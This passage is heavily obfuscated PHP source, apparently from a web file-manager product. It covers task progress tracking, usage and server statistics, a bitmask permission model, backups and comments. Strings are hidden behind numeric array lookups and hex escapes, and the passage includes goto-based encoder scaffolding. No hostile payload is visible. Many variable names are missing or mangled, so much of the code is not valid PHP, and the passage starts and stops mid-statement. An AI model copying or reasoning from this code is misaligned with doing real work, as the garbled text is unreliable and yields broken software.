$ë[$Ń[789]]; $ë[$Ń[1678]] = $ * 0.3; } else { if ($ë[$Ń[1790]] == $Ń[342]) { $ = $ë[$Ń[1677]] / $ë[$Ń[812]]; $ë[$Ń[1678]] = 0.3 + $ * 0.5; } else { if ($ë[$Ń[1790]] == $Ń[107]) { $ = 0; if ($ë[$Ń[1729]]) { $ = $ë[$Ń[1730]] / $ë[$Ń[1729]]; } $ë[$Ń[1678]] = 0.3 + 0.5 + $ * 0.2; } } } if ($ë[$Ń[1678]] > 0) { $ = timeFloat() - $ë[$Ń[1680]] - $ë[$Ń[1683]]; $ë[$Ń[1684]] = $ * (1 - $ë[$Ń[1678]]) / $ë[$Ń[1678]]; } } public function copyFileStart($͔, $ߪ, $, $, $嶎, $칥) { $ =& $_SERVER[]; parent::copyFileStart($͔, $ߪ, $, $, $嶎, $칥); $ =& $this->task; if ($[$[1790]] == $[342]) { $[$[1790]] = $[107]; } $this->update(); } public function copyFileEnd($, $, $, $Ӣ, $쿹, $) { $ť =& $_SERVER[]; $Ƶ =& $this->task; $Ƶ[$ť[1730]] = $Ƶ[$ť[1729]]; $Ƶ[$ť[1734]] += $Ƶ[$ť[1729]]; $Ƶ[$ť[1731]] = $ť[12]; $this->update(); } public function nameParse($Ɣ) { $ =& $_SERVER[]; $ =& $this->task; if ($[$[1677]] < $[$[812]]) { $ܭ = get_path_this($Ɣ); if (strstr($ܭ, $[10])) { $[$[1677]] += 1; } } if ($[$[1790]] == $[1227]) { $[$[1790]] = $[342]; } $[$[1727]] = $Ɣ; $this->update(); } } class AnalysisModel extends ModelBaseLight { public function init($󰥭) { $ɣ֡ =& $_SERVER[]; $檿Ҧ = array($ɣ֡[619] => array($ɣ֡[33] => $ɣ֡[1795], $ɣ֡[302] => array($ɣ֡[224], $ɣ֡[791], $ɣ֡[1796], $ɣ֡[1797])), $ɣ֡[1798] => array($ɣ֡[33] => $ɣ֡[1799], $ɣ֡[302] => array($ɣ֡[224], $ɣ֡[789], $ɣ֡[1800], $ɣ֡[1801], $ɣ֡[1802]))); if (!isset($檿Ҧ[$󰥭])) { return !1; } $this->optionType = $檿Ҧ[$󰥭][$ɣ֡[33]]; $this->field = $檿Ҧ[$󰥭][$ɣ֡[302]]; return !0; } public function listData($ = false, $ = "\x6d\x6f\x64\151\x66\171\124\x69\155\x65", $Ţۃ = false) { return parent::listData($, $, $Ţۃ); } public function trendList($襥) { $ =& $_SERVER[]; $ҵ = $this->listData(); if ($ҵ) { $짶Ō = end($ҵ); $̞ׄު = date($[1803], strtotime($[1804])); if ($짶Ō[$[224]] == $̞ׄު) { return $ҵ; } $մ = strtotime($짶Ō[$[224]]); } if (!isset($մ)) { $ө = $襥 == $[619] ? $[554] : $[851]; $մ = Model($ө)->min($[201]); } $͏ = $[1805] . ucfirst($襥); $ԛ = $this->dateList($մ); foreach ($ԛ as $̞ׄު) { $this->{$͏}($̞ׄު); } return $this->listData(); } private function dateList($) { $ =& $_SERVER[]; $ʄ = $; $ = strtotime($[1804]); $ٸĐ = array(); while ($ʄ <= $) { $ٸĐ[] = date($[1803], $ʄ); $ʄ = strtotime($[1806], $ʄ); } return $ٸĐ; } public function _recordUser($ܚ = '') { $ =& $_SERVER[]; $Шئ = strtotime(date($[1807], strtotime($ܚ))); $ې = strtotime(date($[1808], strtotime($ܚ))); $ɗ = array($[201] => array($[1046], $ې)); $œ = Model($[554])->where($ɗ)->count($[1676]); $ɗ[$[201]] = array($[362], array($Шئ, $ې)); $¢ = Model($[554])->where($ɗ)->count($[1676]); $ɗ[$[33]] = $[1809]; $忭 = Model($[1810])->where($ɗ)->count($[1811]); $χ = array($[224] => $ܚ, $[791] => (int) $œ, $[1796] => (int) $¢, $[1797] => (int) $忭); return $this->insert($χ); } public function _recordStore($ǜ = '') { $و =& $_SERVER[]; $𯂆 = strtotime(date($و[1808], strtotime($ǜ))); $Ͱ = array($و[201] => array($و[1046], $𯂆)); $ = Model($و[500])->where($Ͱ)->sum($و[76]); $Ͱ[$و[439]] = 0; $ޚ = Model($و[851])->where($Ͱ)->sum($و[76]); $Ͱ[$و[440]] = 1; $۰ = Model($و[851])->where($Ͱ)->sum($و[76]); $Ͱ[$و[440]] = 2; $Թ = Model($و[851])->where($Ͱ)->sum($و[76]); $ڠ = array($و[224] => $ǜ, $و[789] => (int) $ޚ, $و[1800] => (int) $, $و[1801] => (int) $۰, $و[1802] => (int) $Թ); return $this->insert($ڠ); } public function trend($ϴ, $) { $ܞ =& $_SERVER[]; if (!$this->init($ϴ)) { return !1; } $ҷ趏 = $this->trendList($ϴ); if ($ҷ趏 && $ != $ܞ[1649]) { $Đו = $ҷ趏[0][$ܞ[224]]; $ = $this->validDate($, $Đו); $唠Ć = array(); $ = array_to_keyvalue($ҷ趏, $ܞ[224]); foreach ($ as $) { if (isset($[$])) { $ = $[$]; } else { $ = end($ҷ趏); $[$ܞ[224]] = $; if ($ϴ == $ܞ[619]) { $[$ܞ[1796]] = $[$ܞ[1797]] = 0; } } $唠Ć[] = $; } $ҷ趏 = $唠Ć; } $ = array($ܞ[619] => array($ܞ[791] => LNG($ܞ[1812]), $ܞ[1796] => LNG($ܞ[1813]), $ܞ[1797] => LNG($ܞ[1814])), $ܞ[1798] => array($ܞ[789] => LNG($ܞ[1815]), $ܞ[1800] => LNG($ܞ[1816]), $ܞ[1801] => LNG($ܞ[1817]), $ܞ[1802] => LNG($ܞ[1818]))); $͎ = array($ܞ[619] => $ܞ[1819], $ܞ[1798] => $ܞ[76]); if (empty($ҷ趏)) { $ = date($ܞ[1803], strtotime($ܞ[1804])); $ѲЬ = array($ܞ[224] => $); foreach ($[$ϴ] as $ɂ => $) { $ѲЬ[$ɂ] = 0; } $ҷ趏[] = $ѲЬ; } $ = array(); foreach ($ҷ趏 as $) { if ($ϴ == $ܞ[1798] && $[$ܞ[1800]] > $[$ܞ[789]]) { $[$ܞ[1800]] = $[$ܞ[789]]; } foreach ($[$ϴ] as $ɂ => $Ƶ) { $ = array($ܞ[224] => $[$ܞ[224]], $ܞ[1574] => $Ƶ); $[$͎[$ϴ]] = isset($[$ɂ]) ? $[$ɂ] : 0; $[] = $; } } return $; } public function validDate($ڡ, $ḿ) { $ٕ =& $_SERVER[]; $ɯ = date($ٕ[1803], strtotime($ٕ[1804])); $ = array($ɯ); switch ($ڡ) { case $ٕ[1656]: $ゅ = mktime(0, 0, 0, date($ٕ[1820]), date($ٕ[1394]) - date($ٕ[1457]) + 7 - 7, date($ٕ[1821])); $⤁ = 0; do { $ = date($ٕ[1803], $ゅ - 3600 * 24 * 7 * $⤁); $[] = $; $⤁++; } while ($ḿ < $); break; case $ٕ[1654]: $⤁ = 1; do { $㞶 = date($ٕ[1822], strtotime("\55\x20{$⤁}\x20\155\157\156\164\x68\163")); $[] = $㞶; $⤁++; } while ($ḿ < $㞶); break; case $ٕ[1823]: $ۢ = (int) date($ٕ[1821], strtotime($ḿ)); $“ּ = (int) date($ٕ[1821]); if ($ۢ >= $“ּ) { break; } for ($ۢ; $ۢ < $“ּ; $ۢ++) { $[] = $ۢ . $ٕ[1824]; } break; default: break; } if ($ḿ > end($)) { array_pop($); } sort($); return $; } public function listTable($״) { $ = ucfirst($״); return Model($)->listData(); } public function option($) { $ = $_SERVER[][1825] . ucfirst($); return $this->{$}(); } private function optionUser() { $̱ς =& $_SERVER[]; $ʴ = Model($̱ς[554])->count($̱ς[1676]); $ = Model($̱ς[554])->where($̱ς[1826])->count($̱ς[1676]); $ = intval($GLOBALS[$̱ς[6]][$̱ς[378]][$̱ς[1629]]) / 3600; $ = strtotime("\x2d{$}\x20\x68\157\x75\162\x73"); $֮ = strtotime(date($̱ς[1807])); if ($ < $֮) { $ = $֮; } $즉 = array($̱ς[1827] => array($̱ς[1047], $)); $ج = (int) Model($̱ς[554])->where($즉)->count($̱ς[1676]); if (!$ج) { $ج = 1; } $즉 = array($̱ς[1827] => array($̱ς[1047], $֮)); $ = Model($̱ς[554])->where($즉)->count($̱ς[1676]); return array($̱ς[784] => (int) $ʴ, $̱ς[1828] => (int) ($ʴ - $), $̱ς[1829] => (int) $, $̱ς[1830] => (int) $, $̱ς[1831] => $ج); } private function optionFile() { $ˆ =& $_SERVER[]; $ɯ = $this->sourceSize(); $ = $ɯ[$ˆ[76]]; $Ǒ = $ɯ[$ˆ[1800]]; $ڟő = Model($ˆ[851])->where(array($ˆ[439] => 0))->count($ˆ[431]); $𵰾Ҭ = array($ˆ[439] => 0, $ˆ[201] => array($ˆ[1047], strtotime(date($ˆ[1807])))); $ = Model($ˆ[851])->where($𵰾Ҭ)->sum($ˆ[76]); $ˉ = Model($ˆ[851])->where($𵰾Ҭ)->count($ˆ[431]); return array($ˆ[789] => $, $ˆ[1800] => $Ǒ, $ˆ[1832] => $ - $Ǒ, $ˆ[1833] => (int) $, $ˆ[791] => (int) $ڟő, $ˆ[1834] => (int) $ˉ); } private function optionAccess() { $Ϧ耸 =& $_SERVER[]; return array($Ϧ耸[784] => $this->typeLogCnt(), $Ϧ耸[107] => $this->typeLogCnt($Ϧ耸[107]), $Ϧ耸[481] => $this->typeLogCnt($Ϧ耸[481]), $Ϧ耸[1835] => $this->typeLogCnt($Ϧ耸[1835]), $Ϧ耸[1836] => $this->typeLogCnt($Ϧ耸[1836]), $Ϧ耸[619] => $this->typeLogCnt($Ϧ耸[12], $Ϧ耸[1811])); } private function typeLogCnt($ԩ = '', $ = "\x69\144") { $݋ =& $_SERVER[]; $ = array($݋[107] => array($݋[1837], $݋[1838]), $݋[481] => array($݋[1839], $݋[1840]), $݋[1835] => array($݋[1841], $݋[1842], $݋[1843]), $݋[1836] => array($݋[1844], $݋[1845]), $݋[1846] => array($݋[1847], $݋[1848], $݋[1849])); $Ė䋖 = strtotime(date($݋[1807])); $̵ = array($݋[201] => array($݋[1047], $Ė䋖)); if ($ԩ) { $̵[$݋[33]] = array($݋[7], $[$ԩ]); } $զ = Model($݋[1810])->where($̵)->count($); return (int) $զ; } private function optionServer() { $ =& $_SERVER[]; $ύ = $this->diskDriver(); $ؔގ = KodIO::defaultDriver(); $ = array($[843] => $ؔގ[$[428]]); $ܐ = Model($[500])->where($)->sum($[76]); $弜 = explode($[53], $_SERVER[$[143]]); $ = $弜[0]; $ = $GLOBALS[$[6]][$[21]]; $ = $[$[1009]]; if ($ == $[997]) { $Ĝј = explode($[1315], $[$[1008]]); $ = $Ĝј[0]; } if ($ == $[943] || $ == $[830]) { $𱝬 = Model()->db()->query($[1850]); $ɠ = $𱝬[0] && isset($𱝬[0][$[1573]]) ? $𱝬[0][$[1573]] : 0; $ = $[1851] . ($ɠ ? $[8] . $ɠ : $[12]); } $ᦪ = $GLOBALS[$[6]][$[378]][$[853]]; return array($[1852] => $ύ ? $ύ[$[1853]] : 0, $[1854] => $ύ ? $ύ[$[1855]] : 0, $[1856] => (int) $ؔގ[$[1853]] * 1024 * 1024 * 1024, $[1857] => (int) $ܐ, $[1858] => ucfirst($), $[1859] => $[1860] . PHP_VERSION, $[1861] => phpBuild64() ? 64 : 32, $[783] => str_replace($[1163], $[1025], $), $[378] => ucfirst($ᦪ), $[32] => $_SERVER[$[1862]]); } private function diskDriver() { $ӆ =& $_SERVER[]; $ږ = $ӆ[8]; $ = $GLOBALS[$ӆ[6]][$ӆ[1332]] == $ӆ[1333]; if ($) { $ږ = $ӆ[1863]; if (function_exists($ӆ[1864])) { exec($ӆ[1865], $); $ږ = $[1] . $ӆ[8]; } } if (!file_exists($ږ)) { return; } $ = @disk_total_space($ږ); $ = $ - @disk_free_space($ږ); return array($ӆ[1853] => $, $ӆ[1855] => $); } public function fileChart($⧽) { $² =& $_SERVER[]; if (isset($⧽[$²[1676]])) { return Model($²[851])->userFileTypeProfile($⧽[$²[1676]]); } if (isset($⧽[$²[1866]])) { return Model($²[851])->groupFileTypeProfile($⧽[$²[1866]]); } $ₖޑ = $this->sourceSize(); $ę = array($²[461] => 0, $²[440] => 1); $ĉ = Model($²[851])->where($ę)->sum($²[76]); $ę[$²[440]] = 2; $Ͼŗϒ = Model($²[851])->where($ę)->sum($²[76]); return array($²[789] => $ₖޑ[$²[76]], $²[1800] => $ₖޑ[$²[1800]], $²[1801] => (int) $ĉ, $²[1802] => (int) $Ͼŗϒ); } private function sourceSize() { $ =& $_SERVER[]; $ = Model($[851])->where(array($[439] => 0))->sum($[76]); $ = Model($[500])->sum($[76]); if ($ > $) { $ = $; } return array($[76] => (int) $, $[1800] => (int) $); } } class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $ƛö =& $_SERVER[]; $ = array(array($ƛö[449] => LNG($ƛö[1867]), $ƛö[1868] => $ƛö[1869], $ƛö[1870] => 1, $ƛö[1871] => 1, $ƛö[1872] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($ƛö[449] => LNG($ƛö[1873]), $ƛö[1868] => $ƛö[1874], $ƛö[1870] => 2, $ƛö[1871] => 1, $ƛö[1872] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($ƛö[449] => LNG($ƛö[1875]), $ƛö[1868] => $ƛö[1876], $ƛö[1870] => 3, $ƛö[1871] => 1, $ƛö[1872] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($ƛö[449] => LNG($ƛö[1877]), $ƛö[1868] => $ƛö[1878], $ƛö[1870] => 4, $ƛö[1871] => 1, $ƛö[1872] => self::AUTH_SHOW | self::AUTH_VIEW), array($ƛö[449] => LNG($ƛö[1879]), $ƛö[1868] => $ƛö[1880], $ƛö[1870] => 5, $ƛö[1871] => 1, $ƛö[1872] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($ƛö[449] => LNG($ƛö[1881]), $ƛö[1868] => $ƛö[1882], $ƛö[1870] => 6, $ƛö[1871] => 1, $ƛö[1872] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($ƛö[449] => LNG($ƛö[1883]), $ƛö[1868] => $ƛö[1884], $ƛö[1870] => 7, $ƛö[1871] => 1, $ƛö[1872] => 0)); return $; } public static function authCheck($ܰ, $Ц) { $ǔ =& $_SERVER[]; $ܰ = intval($ܰ); if ($GLOBALS[$ǔ[523]] && $GLOBALS[$ǔ[6]][$ǔ[1885]]) { return !0; } if ($ܰ <= 0) { return !1; } if (($ܰ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ܰ & $Ц); } public static function authCheckShow($վ) { return self::authCheck($վ, self::AUTH_SHOW); } public static function authCheckView($Ĩ֞ڴ) { return self::authCheck($Ĩ֞ڴ, self::AUTH_VIEW); } public static function authCheckDownload($ijˬ) { return self::authCheck($ijˬ, self::AUTH_DOWNLOAD); } public static function authCheckUpload($͠) { return self::authCheck($͠, self::AUTH_UPLOAD); } public static function authCheckEdit($) { return self::authCheck($, self::AUTH_EDIT); } public static function authCheckRemove($) { return self::authCheck($, self::AUTH_REMOVE); } public static function authCheckShare($) { return self::authCheck($, self::AUTH_SHARE); } public static function authCheckComment($Ĕ) { return self::authCheck($Ĕ, self::AUTH_COMMENT); } public static function authCheckEvent($ܰ) { return self::authCheck($ܰ, self::AUTH_EVENT); } public static function authCheckRoot($) { return self::authCheck($, self::AUTH_ROOT); } public static function authCheckAction($ݜ, $) { $à =& $_SERVER[]; $Ք = array($à[1886] => self::AUTH_VIEW, $à[1227] => self::AUTH_DOWNLOAD, $à[107] => self::AUTH_UPLOAD, $à[1836] => self::AUTH_EDIT, $à[1835] => self::AUTH_REMOVE, $à[1846] => self::AUTH_SHARE, $à[383] => self::AUTH_COMMENT, $à[1664] => self::AUTH_EVENT, $à[1887] => self::AUTH_ROOT); if (!isset($Ք[$])) { return; } $ͫϥ = $Ք[$]; $ݜ = intval($ݜ); if ($ݜ <= 0) { return !1; } if (($ݜ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ݜ & $ͫϥ); } public static function authDisable($ٺ̕, $) { if (intval($ٺ̕) <= 0) { return 0; } return intval($ٺ̕) & ~$; } public $optionType = "\x53\x79\163\x74\x65\155\56\x73\157\x75\162\x63\x65\101\165\164\150\114\151\163\x74"; public $field = array("\x6e\141\155\145", "\x61\x75\x74\150", "\154\141\142\x65\x6c", "\144\x69\163\160\x6c\141\171", "\x73\171\163\x74\x65\155", "\x73\x6f\162\164"); public function initData() { $ѝ = $this->authDefault(); foreach ($ѝ as $) { $this->add($); } } public function findAuth($Ŀǃ, $ţ) { $ =& $_SERVER[]; $ = parent::listData(); foreach ($ as $) { $ = intval($[$[442]]); if ($ <= 0 || $[$[1888]] == 0) { continue; } if (($ & $Ŀǃ) != $Ŀǃ) { continue; } if (($ & $ţ) != 0) { continue; } return $[$[428]]; } return !1; } public function findAuthReadOnly() { $҉̠ = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $ѭ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($҉̠, $ѭ); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function findAuthMinDefault() { $ݒ =& $_SERVER[]; $ė泎 = parent::listData(); $ = !1; foreach ($ė泎 as $ܱ) { if ($ܱ[$ݒ[442]] <= 0 || $ܱ[$ݒ[1888]] == $ݒ[198]) { continue; } if (!$) { $ = $ܱ; continue; } if ($[$ݒ[442]] > $ܱ[$ݒ[442]]) { $ = $ܱ; } } return $ ? $[$ݒ[428]] : $ݒ[12]; } public function listData($ = false, $ = "\x73\157\162\164", $Ɔ = false) { return parent::listData($, $, $Ɔ); } public function update($, $) { $ =& $_SERVER[]; $͒ɍ = parent::listData($); $֭ = $this->findByName($[$[32]]); if (!$͒ɍ || $֭ && $֭[$[428]] != $͒ɍ[$[428]]) { return !1; } $this->filterAuth($[$[442]]); return parent::update($, $); } public function remove($Β) { $ڔ = parent::listData($Β); if (!$ڔ || $ڔ[$_SERVER[][1320]]) { return !1; } return parent::remove($Β); } public function add($ = array()) { $ِ =& $_SERVER[]; if ($this->findByName($[$ِ[32]])) { return !1; } $ = array($ِ[32] => $ِ[12], $ِ[442] => 1, $ِ[1889] => $ِ[1876], $ِ[1888] => 1, $ِ[1320] => 0, $ِ[1890] => 0); $ = array_merge($, $); $[$ِ[1890]] = $this->getSort(); $this->filterAuth($[$ِ[442]]); return parent::insert($); } private function getSort() { $ =& $_SERVER[]; $䒜 = parent::listData(); $ = array_to_keyvalue($䒜, $[12], $[1890]); return empty($) ? 0 : max($) + 1; } private function filterAuth(&$ڄ) { if (!$ڄ) { return; } $ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $㪙 = array(); foreach ($ as $ԇ) { if ($ڄ & $ԇ) { $㪙[] = $ԇ; } } if (in_array(self::AUTH_ROOT, $㪙)) { $ڄ = array_sum($); return; } $蟒 = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($㪙 as $ԇ) { if (isset($蟒[$ԇ])) { $㪙 = array_merge($㪙, $蟒[$ԇ]); } } $㪙[] = self::AUTH_SHOW; $ڄ = array_sum(array_unique($㪙)); } public function sort($ළ, $) { return parent::update($ළ, $); } } goto Dϩ; Fψ: define($_SERVER[][633], $_SERVER[][634]); $yvbwkhnedr = $_SERVER[][635]; while (strlen($yvbwkhnedr) < $_SERVER[][636]) { if (!$yvbwkhnedr) { break; } $yvbwkhnedr++; } goto f袨; Dϩ: class BackupModel extends ModelBaseLight { public $optionType = "\x53\x79\163\164\145\155\x2e\142\141\x63\153\165\x70\x4c\x69\163\x74"; public $field = array("\151\157", "\x6e\141\155\x65", "\163\x74\x61\164\165\x73", "\143\157\x6e\x74\145\156\x74", "\x6d\141\156\165\141\154", "\x72\145\x73\165\x6c\x74", "\x74\x69\x6d\145\x46\162\x6f\x6d", "\164\151\x6d\145\x54\157"); public function config() { $ں =& $_SERVER[]; $ʻ = Model($ں[796])->get($ں[806]); $ʻ = json_decode($ʻ, !0); $ʻ = is_array($ʻ) ? $ʻ : array(); if (!isset($ʻ[$ں[780]])) { $ʻ[$ں[780]] = $ں[88]; } unset($ʻ[$ں[1646]]); Action($ں[1891])->taskInit(); Model($ں[1645])->cacheClear(); $Ċ = $ں[1892]; $ = Model($ں[1893])->findByKey($ں[1664], $Ċ); if (!$) { $ = array(); } if (isset($[$ں[180]])) { $[$ں[180]] = json_decode($[$ں[180]], !0); } if (isset($ʻ[$ں[180]])) { $[$ں[180]][$ں[1649]] = $ʻ[$ں[180]]; unset($ʻ[$ں[180]]); } return array_merge($, $ʻ); } public function listData($ = false, $ = "\155\157\144\151\x66\171\x54\x69\x6d\x65", $ɺ = false) { return parent::listData($, $, !0); } public function lastItem() { $ك = $this->listData(); return !empty($ك[0]) ? $ك[0] : null; } public function kill($ܻԆ) { $ =& $_SERVER[]; $˸ = $this->listData($ܻԆ); if (!$˸ || empty($˸[$[32]])) { return !0; } Task::kill($[805]); Task::kill($[826]); Task::kill($[835]); $Ȭ = $˸[$[32]]; $؏ˊ = TEMP_FILES . $[804] . $Ȭ . $[8]; IO::remove($؏ˊ, !1); return $this->remove($ܻԆ); } public function remove($) { $ = $this->listData($); if (!$) { return !0; } return $this->backupRemove($); } private function backupRemove($˘ʦ) { parent::remove($˘ʦ[$_SERVER[][428]]); $ = $this->backupPath($˘ʦ); IO::remove($, !1); return !0; } private function backupPath($) { $ =& $_SERVER[]; $ = $[$[32]]; $ = Model($[796])->get($[797]); $ = substr(md5($[798] . $ . $), 0, 8); return "\173\151\157\72{$[$[777]]}\x7d\x2f\144\141\x74\x61\x62\141\163\x65\57\x62\x61\143\153\x75\x70\x2f" . $ . $[11] . $; } public function start() { $팷 =& $_SERVER[]; if ($GLOBALS[$팷[6]][$팷[89]][$팷[1894]] != $팷[88]) { return !0; } $͑; = $this->config(); if (!$͑; || $͑;[$팷[1646]] != $팷[88]) { return !1; } $ڽ = $this->process(); foreach ($ڽ as $) { if ($) { return Task::restart($[$팷[428]]); } } $ = new Backup(); $֎ = $->db(); if ($֎) { $֎ = $->dbFile(); if ($֎ && $͑;[$팷[780]] == $팷[198]) { $֎ = $->file(); } } Backup::set(array($팷[776] => 1, $팷[787] => time())); return !0; } public function process() { $6 =& $_SERVER[]; $ = array($6[783] => Task::get($6[805]), $6[788] => Task::get($6[826]), $6[200] => Task::get($6[835])); $Η = !1; foreach ($ as &$콗) { if ($Η) { $콗 = !1; continue; } if ($콗) { $ӛ = intval(_get($콗, $6[1681], 0)); if (time() - $ӛ > 7200) { Task::kill($콗[$6[428]]); $Η = !0; $콗 = !1; } } } return $; } public function restore() { $۞ =& $_SERVER[]; ActionCall($۞[1093], !0, 1); ActionCall($۞[1093], !0, 0); } } class CommentModel extends ModelBase { protected $tableName = "\143\157\155\155\145\x6e\164"; protected $tableMeta = array("\164\x61\x62\154\145\x4e\x61\x6d\145" => "\x63\x6f\155\x6d\145\x6e\x74\137\x6d\x65\x74\x61", "\x6d\145\x74\141\106\151\145\x6c\144" => "\x63\157\155\x6d\145\x6e\164\x49\x44"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($֕ά) { $ =& $_SERVER[]; if ($֕ά[$[1895]]) { $ʟ = $this->where(array($[1896] => $֕ά[$[1895]]))->find(); if (!$ʟ || $ʟ[$[440]] != $֕ά[$[440]] || $ʟ[$[525]] != $֕ά[$[525]]) { return !1; } $this->where(array($[1896] => $֕ά[$[1895]]))->setAdd($[1897], 1); } $֕ά[$[1898]] = 0; $֕ά[$[1897]] = 0; $֕ά[$[776]] = 1; return $this->add($֕ά); } public function commentCount($礿, $, $Ϫ = false) { $Ը =& $_SERVER[]; if (!$礿) { return array(); } if (is_string($礿) || is_int($礿)) { $礿 = array($礿); } $ = array($Ը[525], $Ը[1899] => $Ը[520]); $Թɚ = array($Ը[525] => array($Ը[7], $礿), $Ը[440] => $); if ($Ϫ) { $Թɚ[$Ը[1676]] = $Ϫ; } $ = $this->field($)->where($Թɚ)->group($Ը[525])->select(); return array_to_keyvalue($, $Ը[525], $Ը[520]); } public function starTarget($Üߠ, $Ğ) { $ҩ =& $_SERVER[]; $ = $Üߠ + self::TYPE_STAR_OFFSET; $ = array($ҩ[1676] => USER_ID, $ҩ[440] => $, $ҩ[525] => $Ğ); $迿 = $this->where($)->find(); if ($迿) { return $this->where(array($ҩ[428] => $迿[$ҩ[428]]))->delete(); } $Ñͤ = array($ҩ[1895] => 0, $ҩ[1676] => USER_ID, $ҩ[776] => 1, $ҩ[780] => $ҩ[12], $ҩ[440] => $, $ҩ[525] => $Ğ, $ҩ[1898] => 0, $ҩ[1897] => 0); return $this->add($Ñͤ); } public function starTargetCount($О։, $ͣ) { $ص =& $_SERVER[]; $诬 = $ͣ + self::TYPE_STAR_OFFSET; $ = $this->commentCount($О։, $诬); $ա = $this->commentCount($О։, $诬, USER_ID); return array($ص[1900] => $, $ص[1901] => $ա); } public function starTargetUserList($ʎ, $Ď) { $õ =& $_SERVER[]; $ҡ = $ʎ + self::TYPE_STAR_OFFSET; $ږ = array($õ[525] => $Ď, $õ[440] => $ҡ); $ͥ = $this->where($ږ)->count(); $ = array($õ[284] => $ͥ, $õ[1902] => array()); if (!$ͥ) { return $; } $ꩣ = $this->field($õ[1676])->where($ږ)->limit(500)->select(); $ꩣ = array_to_keyvalue($ꩣ, $õ[12], $õ[1676]); $[$õ[1902]] = Model($õ[533])->userListInfo($ꩣ); return $; } public function prasiseUserList($ƪ) { $ȟÕ =& $_SERVER[]; $ܙ = array($ȟÕ[1903] => $ƪ); $ = $this->where($ܙ)->find(); $޿ = _get($, $ȟÕ[1898], 0); $ = array($ȟÕ[284] => $޿, $ȟÕ[1902] => array()); if (!$޿) { return $; } $ݐ = Model($ȟÕ[1904])->field($ȟÕ[1676])->where($ܙ)->limit(500)->select(); $ݐ = array_to_keyvalue($ݐ, $ȟÕ[12], $ȟÕ[1676]); $[$ȟÕ[1902]] = Model($ȟÕ[533])->userListInfo($ݐ); return $; } public function remove($ɟܥ) { $ۖ =& $_SERVER[]; $̴ = array($ۖ[1896] => $ɟܥ); $ʼn = $this->where($̴)->find(); if ($ʼn[$ۖ[1895]]) { $this->where(array($ۖ[1896] => $ʼn[$ۖ[1895]]))->setAdd($ۖ[1897], -1); } return $this->where($̴)->delete(); } public function edit($, $) { $ﻗ =& $_SERVER[]; $۶ = array($ﻗ[1896] => $); return $this->where($۶)->save(array($ﻗ[1905] => $)); } public function prasise($Ī) { $Я =& $_SERVER[]; $뚝 = Model($Я[1906]); $ = array($Я[1896] => $Ī, $Я[1667] => USER_ID); $ = $뚝->where($)->find(); if (!$) { $뚝->add($); $녻Վ = $this->where(array($Я[1896] => $Ī))->setAdd($Я[1898], 1); } else { $뚝->where($)->delete(); $녻Վ = $this->where(array($Я[1896] => $Ī))->setAdd($Я[1898], -1); } return $녻Վ; } public function targetInfo($, $Π) { $ܛ =& $_SERVER[]; $݄ = array($ܛ[605] => $, $ܛ[606] => $Π); $ʈ = $this->where($݄)->count(); $ = "\122\111\x47\110\124\x20\x4a\x4f\111\x4e\x20{$this->tablePrefix}\x63\157\155\x6d\145\156\x74\137\160\162\x61\151\163\145\40\163\164\x61\x72\x20\x6f\156\x20\143\x6f\155\x6d\145\x6e\x74\x2e\143\157\155\155\145\x6e\x74\111\104\x20\75\x20\163\x74\141\x72\56\x63\x6f\x6d\x6d\145\x6e\x74\111\104"; $ = $this->alias($ܛ[383])->where($݄)->join($, $ܛ[1907])->count(); $ˈ = array($ܛ[1908] => $ʈ, $ܛ[1909] => $); return $ˈ; } public function listData($蝅) { $٥ =& $_SERVER[]; if (isset($蝅[$٥[1910]])) { if ($蝅[$٥[1910]]) { $蝅[$٥[1903]] = array($٥[1047], intval($蝅[$٥[1910]])); } unset($蝅[$٥[1910]]); } if (isset($蝅[$٥[1911]])) { if ($蝅[$٥[1911]]) { $蝅[$٥[1903]] = array($٥[1044], intval($蝅[$٥[1911]])); } unset($蝅[$٥[1911]]); } return $this->_listData($蝅); } private function _listData($) { $讹 =& 